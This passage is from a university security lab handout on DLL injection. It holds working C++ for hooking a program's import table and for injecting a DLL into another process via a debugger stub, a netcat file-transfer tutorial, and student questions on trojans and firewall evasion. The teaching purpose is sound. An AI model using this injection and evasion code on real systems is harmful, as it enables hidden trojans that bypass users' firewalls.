pImportDesc = MakePtr(PIMAGE_IMPORT_DESCRIPTOR, pDosHeader,
pNTHeader->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].
VirtualAddress);

// Bail out if the RVA of the imports section is 0 (it doesn't exist)
if ( pImportDesc == (PIMAGE_IMPORT_DESCRIPTOR)pNTHeader )
return 0;

// Iterate through the array of imported module descriptors, looking


// for the module whose name matches the pszFunctionModule parameter
while ( pImportDesc->Name )
{
PSTR pszModName = MakePtr(PSTR, pDosHeader, pImportDesc->Name);

if ( stricmp(pszModName, pszFunctionModule) == 0 )

46
break;

pImportDesc++; // Advance to next imported module descriptor


}

// Bail out if we didn't find the import module descriptor for the
// specified module. pImportDesc->Name will be non-zero if we found it.
if ( pImportDesc->Name == 0 )
return 0;

// Get a pointer to the found module's import address table (IAT)


pThunk = MakePtr(PIMAGE_THUNK_DATA, pDosHeader, pImportDesc->FirstThunk);

// Blast through the table of import addresses, looking for the one
// that matches the address we got back from GetProcAddress above.

while ( pThunk->u1.Function )
{
if ( (DWORD)pThunk->u1.Function == (DWORD)pfnOriginalProc )
{
// We found it! Overwrite the original address with the
// address of the interception function. Return the original
// address to the caller so that they can chain on to it.

//Problem persists in winXP... Not required in win98..


//DLL will simply unload if an unalowed byte was modified.
if(IsBadWritePtr(&pThunk->u1.Function, 4))
{
B = VirtualProtect(&pThunk->u1.Function, 4,
PAGE_EXECUTE_READWRITE, &dwOld);
pThunk->u1.Function = (DWORD*)pfnNewProc;

B = VirtualProtect(&pThunk->u1.Function, 4,
dwOld, &dw);
}else
pThunk->u1.Function = (DWORD*)pfnNewProc;

//pfnOriginalProc = (PROC)(DWORD)pdw1;
return pfnOriginalProc;
}

pThunk++; // Advance to next imported function address


}

return 0; // Function not found


}

typedef DWORD (__stdcall *XPROC)(DWORD);

// Converts an HMODULE under Win32s to a base address in memory


DWORD GetModuleBaseFromWin32sHMod(HMODULE hMod)
{
XPROC ImteFromHModule, BaseAddrFromImte;
HMODULE hModule;
DWORD imte;

hModule = GetModuleHandle("W32SKRNL.DLL");
if( !hModule )
return 0;

ImteFromHModule = (XPROC)GetProcAddress(hModule, "_ImteFromHModule@4");


if ( !ImteFromHModule )
return 0;

BaseAddrFromImte = (XPROC)GetProcAddress(hModule, "_BaseAddrFromImte@4");


if ( !BaseAddrFromImte )
return 0;

imte = ImteFromHModule( (DWORD)hMod);


if ( !imte )

47
return 0;

return BaseAddrFromImte(imte);
}
/* example:

typedef int (WINAPI *MESSAGEBOXPROC)(HWND, LPCTSTR, LPCTSTR, UINT);


MESSAGEBOXPROC OriginalProc;

using namespace std;

int WINAPI MsgBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)
{
int ret;

ret = OriginalProc(hWnd, lpText, "MsgBox()", uType);

return ret;
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hprev, LPSTR lpCmdLine, int nShowCmd)
{

MessageBox(0, "This is a normal windows message box", "MessageBox()", MB_OK);

OriginalProc = (MESSAGEBOXPROC)
HookImportedFunction(
GetModuleHandle(0), "USER32.DLL", "MessageBoxA", (PROC)MsgBox);

if(!OriginalProc)
{
MessageBox(0, "Couldn't be done!", "ERROR", 0);
return 0;
}

MessageBox(0, "This is another normal windows message box", "MessageBox()", MB_OK);

return 0;
}
*/#endif

48
Appendix C: APISPY Source Code

49
NOTE: APISPY has several files. For more information refer to the APISPY32 directory. Here we provide the main files for the lab:
APISPYLD.CPP and DebugInjector.CPP

//APISPYLD.CPP

//==================================
// APISPYLD - Matt Pietrek 1995/2001
// FILE: APISPYLD.CPP
//==================================
#include <windows.h>
#include <stddef.h>
#include <shlwapi.h>
#pragma hdrstop
#include "apispyld.h"
#include "DebugInjector.h"

//======================== Global Variables =================================


char SzINISection[] = "Options";
char SzINICmdLineKey[] = "CommandLine";
char SzINIFile[] = "APISPY32.INI";
char SzCmdLine[MAX_PATH];

//======================== Function prototypes ===============================

BOOL CALLBACK APISPY32DlgProc(HWND, UINT, WPARAM, LPARAM);


void Handle_WM_COMMAND(HWND hWndDlg, WPARAM wParam, LPARAM lParam);
void Handle_WM_INITDIALOG(HWND hWndDlg, WPARAM wParam, LPARAM lParam);
BOOL GetProgramName(HWND hWndOwner, PSTR szFile, unsigned nFileBuffSize);
bool GetInjectedDLLFullPath( PSTR pszFullPath );

//======================== Code =============================================

int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance,


LPSTR lpszCmdLine, int nCmdShow )
{
// This dialog returns 0 if the user pressed cancel
while ( 0 != DialogBox(hInstance, "APISPY32_LOAD_DLG", 0,
(DLGPROC)APISPY32DlgProc) )
{
CDebugInjector injector;

char szDllToInject[MAX_PATH];
GetInjectedDLLFullPath( szDllToInject );

if ( injector.LoadProcess( SzCmdLine ) )
{
injector.SetDLLToInject( szDllToInject );
injector.Run();
}
else
{
MessageBox(0, "Unable to start program", 0, MB_OK);
}
}

return 0;
}

BOOL CALLBACK APISPY32DlgProc(HWND hWndDlg, UINT msg,


WPARAM wParam, LPARAM lParam)
{
switch ( msg )
{
case WM_COMMAND:
Handle_WM_COMMAND(hWndDlg, wParam, lParam);
return TRUE;
case WM_INITDIALOG:
Handle_WM_INITDIALOG(hWndDlg, wParam, lParam);
return TRUE;
case WM_CLOSE:

50
EndDialog(hWndDlg, 0);
return FALSE;
}

return FALSE;
}

void Handle_WM_COMMAND(HWND hWndDlg, WPARAM wParam, LPARAM lParam)


{
if ( wParam == IDC_RUN )
{
if ( GetWindowText( GetDlgItem(hWndDlg, IDC_CMDLINE),
SzCmdLine, sizeof(SzCmdLine)) )
{
WritePrivateProfileString(SzINISection, SzINICmdLineKey,
SzCmdLine, SzINIFile);
EndDialog(hWndDlg, 1); // Return TRUE
}
else
{
MessageBox( hWndDlg, "No program selected", 0, MB_OK);
}
}
else if ( wParam == IDC_FILE )
{
if ( GetProgramName(hWndDlg, SzCmdLine, sizeof(SzCmdLine)) )
SetWindowText( GetDlgItem(hWndDlg, IDC_CMDLINE), SzCmdLine );
}
else if ( wParam == IDCANCEL )
{
EndDialog(hWndDlg, 0);
}
}

void Handle_WM_INITDIALOG(HWND hWndDlg, WPARAM wParam, LPARAM lParam)


{
GetPrivateProfileString(SzINISection, SzINICmdLineKey, "", SzCmdLine,
sizeof(SzCmdLine), SzINIFile);
SetWindowText( GetDlgItem(hWndDlg, IDC_CMDLINE), SzCmdLine );
}

static char szFilter1[] = "Programs (*.EXE)\0*.EXE\0";

BOOL GetProgramName(HWND hWndOwner, PSTR szFile, unsigned nFileBuffSize)


{
OPENFILENAME ofn;

szFile[0] = 0;

memset(&ofn, 0, sizeof(OPENFILENAME));

ofn.lStructSize = sizeof(OPENFILENAME);
ofn.hwndOwner = hWndOwner;
ofn.lpstrFilter = szFilter1;
ofn.nFilterIndex = 1;
ofn.lpstrFile= szFile;
ofn.nMaxFile = nFileBuffSize;
ofn.lpstrFileTitle = 0;
ofn.nMaxFileTitle = 0;
ofn.lpstrInitialDir = 0;
ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;

return GetOpenFileName(&ofn);
}

//===========================================================================

bool GetInjectedDLLFullPath( PSTR pszFullPath )


{
// The DLL should be in the same directory as this EXE. Get the EXE's

51
// full path and replace the EXE name with the DLL name.
char szExePath[MAX_PATH];

GetModuleFileName( 0, szExePath, sizeof(szExePath) );


PathRemoveFileSpec( szExePath );

strcpy( pszFullPath, szExePath );


strcat( pszFullPath, "\\APISPY32.DLL" );

return true;
}

//DebugInjector.CPP

//==========================================
// Matt Pietrek
// Microsoft Systems Journal, March 2000
// FILE: DelayLoadProfile.CPP
//==========================================
#include "windows.h"
#include <stdio.h>
#include <malloc.h>
#include <stddef.h>
#include "DebugInjector.h"

static PSTR s_arszDebugEventTypes[] =


{
"",
"EXCEPTION",
"CREATE_THREAD",
"CREATE_PROCESS",
"EXIT_THREAD",
"EXIT_PROCESS",
"LOAD_DLL",
"UNLOAD_DLL",
"OUTPUT_DEBUG_STRING",
"RIP",
};

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CDebugInjector::CDebugInjector() :
m_bInjected( false ),
m_pszDLLToInject( 0 ),
m_pExeEntryPoint( 0 ),
m_pStubInTarget( 0 ),
m_pStubInTargetBP( 0 ),
m_originalExeEntryPointOpcode( 0 ),
m_pfnODSCallback(0)
{
memset( &m_CreateProcessDebugInfo, 0, sizeof(m_CreateProcessDebugInfo) );
memset( &m_originalThreadContext, 0, sizeof(m_originalThreadContext) );
memset( &m_ProcessInformation, 0, sizeof(m_ProcessInformation) );
}

//===================================================================

CDebugInjector::~CDebugInjector()
{
CloseHandle( m_ProcessInformation.hThread );
CloseHandle( m_ProcessInformation.hProcess );

CloseHandle( m_CreateProcessDebugInfo.hProcess );
CloseHandle( m_CreateProcessDebugInfo.hThread );

delete []m_pszDLLToInject;
}

52
//===================================================================

bool CDebugInjector::LoadProcess( PSTR pszCmdLine )


{
STARTUPINFO startupInfo;

memset(&startupInfo, 0, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);

BOOL bCreateProcessRetValue;

bCreateProcessRetValue =
CreateProcess(
0, // lpszImageName
pszCmdLine, // lpszCommandLine
0, // lpsaProcess
0, // lpsaThread
FALSE, // fInheritHandles
DEBUG_ONLY_THIS_PROCESS, // fdwCreate
0, // lpvEnvironment
0, // lpszCurDir
&startupInfo, // lpsiStartupInfo
&m_ProcessInformation ); // lppiProcInfo

return bCreateProcessRetValue != FALSE;


}

//===================================================================

bool CDebugInjector::SetDLLToInject(PSTR pszDLL)


{
m_pszDLLToInject = new char[ lstrlen(pszDLL) + 1 ];
lstrcpy( m_pszDLLToInject, pszDLL );

return true;
}

//===================================================================

bool CDebugInjector::Run( void )


{
DEBUG_EVENT dbgEvent;
DWORD dwContinueStatus;

// The debug loop. Runs until the debuggee terminats


while ( 1 )
{
WaitForDebugEvent(&dbgEvent, INFINITE);

dwContinueStatus = HandleDebugEvent( dbgEvent );

if ( dbgEvent.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT )
break;

ContinueDebugEvent( dbgEvent.dwProcessId,
dbgEvent.dwThreadId,
dwContinueStatus );
}

return true;
}

//===================================================================

DWORD CDebugInjector::HandleDebugEvent(DEBUG_EVENT &dbgEvent)


{
DWORD dwContinueStatus = DBG_CONTINUE;

switch ( dbgEvent.dwDebugEventCode )
{

53
case CREATE_PROCESS_DEBUG_EVENT:
m_CreateProcessDebugInfo = dbgEvent.u.CreateProcessInfo;
CloseHandle( m_CreateProcessDebugInfo.hFile );
break;

case EXCEPTION_DEBUG_EVENT:
dwContinueStatus = HandleException( dbgEvent );
break;

case CREATE_THREAD_DEBUG_EVENT:
CloseHandle( dbgEvent.u.CreateThread.hThread );
break;

case LOAD_DLL_DEBUG_EVENT:
CloseHandle( dbgEvent.u.LoadDll.hFile );
break;

case OUTPUT_DEBUG_STRING_EVENT:
HandleOutputDebugString( dbgEvent );
break;
}

return dwContinueStatus;
}

//===================================================================

DWORD CDebugInjector::HandleException(DEBUG_EVENT &dbgEvent )


{
EXCEPTION_RECORD & exceptRec = dbgEvent.u.Exception.ExceptionRecord;

// If this is a second chance exception, the debuggee is going to


// die. Spit out the exception code and address
if ( dbgEvent.u.Exception.dwFirstChance == FALSE )
{
printf( "Exception code: %X Addr: %08X\r\n",
exceptRec.ExceptionCode, exceptRec.ExceptionAddress );
}

// If we've gone through the mechanics of injection already, just


// pass the exception on to the debuggee
if ( m_bInjected )
return DBG_EXCEPTION_NOT_HANDLED;

// If it isn't a breakpoint, we don't want to know about it.


if ( exceptRec.ExceptionCode != EXCEPTION_BREAKPOINT )
return DBG_EXCEPTION_NOT_HANDLED;

static bool s_bFirstBP = FALSE;


DWORD dwContinueStatus = DBG_CONTINUE;

// Is this the DebugBreak breakpoint?


if ( s_bFirstBP == false )
{
SetEntryPointBP();
s_bFirstBP = true;
}
// Is this the breakpoint we set at the EXE's entry point?
else if ( exceptRec.ExceptionAddress == m_pExeEntryPoint )
{
RemoveEntryPointBP();
SaveEntryPointContext( dbgEvent );
PlaceInjectionStub();
}
// Is this the BP immediately after our LoadLibrary call?
else if ( exceptRec.ExceptionAddress == m_pStubInTargetBP )
{
RestoreEntryPointContext();
m_bInjected = true;
}

54
return dwContinueStatus;
}

//===================================================================

void CDebugInjector::HandleOutputDebugString( DEBUG_EVENT & dbgEvent )


{
if ( !m_pfnODSCallback ) // If no callback registered, just bail
return;

// An OutputDebugString debug event contains the address and length


// of a string in the debuggee. Prepare to copy that memory into
// our process space.
WORD nLength = dbgEvent.u.DebugString.nDebugStringLength;
PVOID pStr = dbgEvent.u.DebugString.lpDebugStringData;

char szBuffer[ 1024 ];


nLength = min( sizeof(szBuffer), nLength );

bool retValue = ReadTargetMemory( pStr, szBuffer, nLength );

szBuffer[nLength] = 0; // Null terminate this for Win9X ;-)

// If we were able to read the string, invoke the registered callback


if ( retValue )
m_pfnODSCallback( szBuffer );
}

//===================================================================

bool CDebugInjector::SaveEntryPointContext( DEBUG_EVENT & dbgEvent )


{
// Make sure that the thread we have the handle for is
// the same thread that hit the BP
if ( m_ProcessInformation.dwThreadId != dbgEvent.dwThreadId )
DebugBreak();

m_originalThreadContext.ContextFlags = CONTEXT_FULL;

if ( !GetThreadContext( m_CreateProcessDebugInfo.hThread,
&m_originalThreadContext) )
return false;

// The EIP in the context structure points past the BP, so


// decrement EIP to point at the original instruction
m_originalThreadContext.Eip = m_originalThreadContext.Eip -1;

return true;
}

//===================================================================

bool CDebugInjector::RestoreEntryPointContext( void )


{
// Set the register back to what they were before we redirected them to
// the LoadLibrary stub. If we were really fastidious, we'd also delete
// the memory allocated for the stub here.

return SetThreadContext( m_CreateProcessDebugInfo.hThread,


&m_originalThreadContext) != FALSE;
}

//===================================================================

bool CDebugInjector::SetEntryPointBP( void )


{
m_pExeEntryPoint = m_CreateProcessDebugInfo.lpStartAddress;

bool retValue = ReadTargetMemory( m_pExeEntryPoint,

55
&m_originalExeEntryPointOpcode,
sizeof(m_originalExeEntryPointOpcode));

if ( !retValue )
return false;

BYTE bpOpcode = 0xCC;

retValue = WriteTargetMemory( m_pExeEntryPoint,


&bpOpcode,
sizeof(bpOpcode) );
return retValue ? true : false;
}

//===================================================================

bool CDebugInjector::RemoveEntryPointBP()
{
bool retValue = WriteTargetMemory(m_pExeEntryPoint,
&m_originalExeEntryPointOpcode,
sizeof(m_originalExeEntryPointOpcode));
if ( !retValue )
return false;

return true;
}

//===================================================================

bool CDebugInjector::PlaceInjectionStub( void )


{
//=====================================================
// Locate where the stub will be in the target process
m_pStubInTarget = (LOADLIBRARY_STUB*)GetMemoryForLoadLibraryStub();
if ( !m_pStubInTarget )
return false;

m_pStubInTargetBP = (PBYTE)m_pStubInTarget +
offsetof(LOADLIBRARY_STUB, instr_INT_3);

//=====================================================
// Complete the stub fields that can't be preinitialized
strcpy( m_stub.data_DllName, m_pszDLLToInject );

m_stub.operand_PUSH_value = (DWORD)m_pStubInTarget
+ offsetof( LOADLIBRARY_STUB, data_DllName);

m_stub.operand_MOV_EAX =
(DWORD)GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"LoadLibraryA");

//=====================================================
// Copy the stub into the target process
bool retValue;
retValue = WriteTargetMemory(m_pStubInTarget, &m_stub,sizeof(m_stub));
if ( !retValue )
return false;

//=====================================================
// Change the EIP register in the target thread to point
// at the stub we just copied in.
CONTEXT stubContext = m_originalThreadContext;
stubContext.Eip = (DWORD)m_pStubInTarget;

SetThreadContext( m_CreateProcessDebugInfo.hThread, &stubContext );

return true;
}

//===================================================================

56
bool CDebugInjector::ReadTargetMemory( PVOID pAddr,
PVOID pBuffer,
unsigned cb )
{
DWORD cbRead;

BOOL retVal = ReadProcessMemory( m_CreateProcessDebugInfo.hProcess,


pAddr, pBuffer, cb, &cbRead );

return ( retVal && (cbRead == cb) );


}

//===================================================================

bool CDebugInjector::WriteTargetMemory( PVOID pAddr,


PVOID pBuffer,
unsigned cb )
{
DWORD cbWrite;

BOOL retVal = WriteProcessMemory( m_CreateProcessDebugInfo.hProcess,


pAddr, pBuffer, cb, &cbWrite );

return ( retVal && (cbWrite == cb) );


}

//===================================================================

bool CDebugInjector::SetOutputDebugStringCallback( PFNODSCALLBACK pfn )


{
m_pfnODSCallback = pfn;
return true;
}

//===================================================================

typedef
LPVOID (__stdcall * PFNVIRTALLEX)(HANDLE, LPVOID, SIZE_T, DWORD,DWORD);

PVOID CDebugInjector::GetMemoryForLoadLibraryStub(void)
{
OSVERSIONINFO osvi = { sizeof(osvi) };

GetVersionEx( &osvi );

if ( osvi.dwPlatformId == VER_PLATFORM_WIN32_NT )
{
// We're on NT, so use VirtualAllocEx to allocate memory in the other
// process address space. Alas, we can't just call VirtualAllocEx
// since it's not defined in the Windows 95 KERNEL32.DLL.

PFNVIRTALLEX pfnVirtualAllocEx = (PFNVIRTALLEX)


GetProcAddress(GetModuleHandle("KERNEL32.DLL"),"VirtualAllocEx");

LPVOID pStubMemory = pfnVirtualAllocEx(


m_CreateProcessDebugInfo.hProcess,
0, sizeof(LOADLIBRARY_STUB),
MEM_COMMIT, PAGE_READWRITE );

return (LOADLIBRARY_STUB *)pStubMemory;


}
else if ( osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS )
{
// In Windows 9X, create a small memory mapped file. On this
// platform, memory mapped files are above 2GB, and thus are
// accessible by all processes.

HANDLE hFileMapping = CreateFileMapping(


INVALID_HANDLE_VALUE, 0,
PAGE_READWRITE | SEC_COMMIT,

57
0,
sizeof(LOADLIBRARY_STUB),
0 );
if ( hFileMapping )
{
LPVOID pStubMemory = MapViewOfFile( hFileMapping,
FILE_MAP_WRITE,
0, 0,
sizeof(LOADLIBRARY_STUB) );
return (LOADLIBRARY_STUB *)pStubMemory;
}
else
CloseHandle( hFileMapping );
}

return 0;
}

58
Appendix D: Brief NETCAT Tutorial to Send
Files for This Lab

59
Using NETCAT

To set a server go into the Netcat directory and type:

nc -l -p 1234 > “c:\filetobereceived.exe”

Ato set the client and establish the connection type in the client machine:

nc <DESTINATION IP ADDRESS> 1234 “c:\filetosendpath.exe”

When the file is done you may kill NC in the destination machine. The Source machine
should close the connection.

Check to make sure the file sizes are the same.

60
Answer Sheet Lab 10

Group Number: ____________

Member Names: ___________________ ____________________

Warm Up: Processes and Dynamic Link


Libraries

QWU.1: Write down 5 processes you see, the user that has control of the processes, the
description given by PE, and the PID.

Process Name Process Explorer Description Process ID

QWU.2: Write down 3 .dll libraries that were loaded by Internet Explorer.

Section 1: Static DLL Injection

Q1.1: Write down the Winmine entry point address.

61
Q1.2: Write down the address of the first NOOP that forms part of a 'cave'.

Q1.3: Write down the address where you added the string.

Q1.4: Write the address where you added the first 'push 0'.

Q1.5: Write the address of the first line after the JMP (The first NOOP)

Q1.6: Give one scenario where static dll injection could be used to trick a user into
giving a malicious program permission to access the internet (hint: think static injection
and peer to peer networks).

Section 2: Dynamic DLL Injection


Q2.1: Write the description, Company Name, and version PE shows of apm.dll loaded
into explorer.exe.

Q2.2: Look at the source code of EXE.cpp and identify in which line the dll is injected.

Q2.3: In what register is the pointer to LoadLibraryA()?

Q2.4: Describe a) where LoadLibraryA is loaded, b) what WriteTargetMemory function


does (look for the function in the same file), and c) why are we changing the EIP
register? (hint, remember our static injection?).

62
Section 3: Trojans and Firewall Evasion
Q3.1 (May be extra credit depending on Dr. Owen): What was the score of your
Firewall? A High score for your firewall means your firewall is good. Can your firewall
stop dll Injected processes?

Q3.2: Write the size of the created server file.

Q3.3: Why does Internet Explorer launch as soon as the server is executed?

Q3.4: Why are outgoing packets allowed?

Section 4: Defensive Measures


No questions in this section. Just one screenshot.

How long did it take you to complete this lab? Was it an appropriate length lab?

What corrections and/or improvements do you suggest for this lab? You may cross
out and edit the text of the lab on previous pages to make corrections. What
corrections and/or improvements do you suggest for this lab? Please be very
specific and if you add new material give the exact wording and instructions you
would give to future students in the new lab handout. You need to be very specific
and provide details. You need to actually do the suggested additions in the lab and

63
provide solutions to your suggested additions. Caution as usual: only extract and
use the tools you downloaded in the safe and approved environment of the network
security laboratory.

Turn-in Checklist

□ Answer Sheet
□ 5 Screenshots

64

Você também pode gostar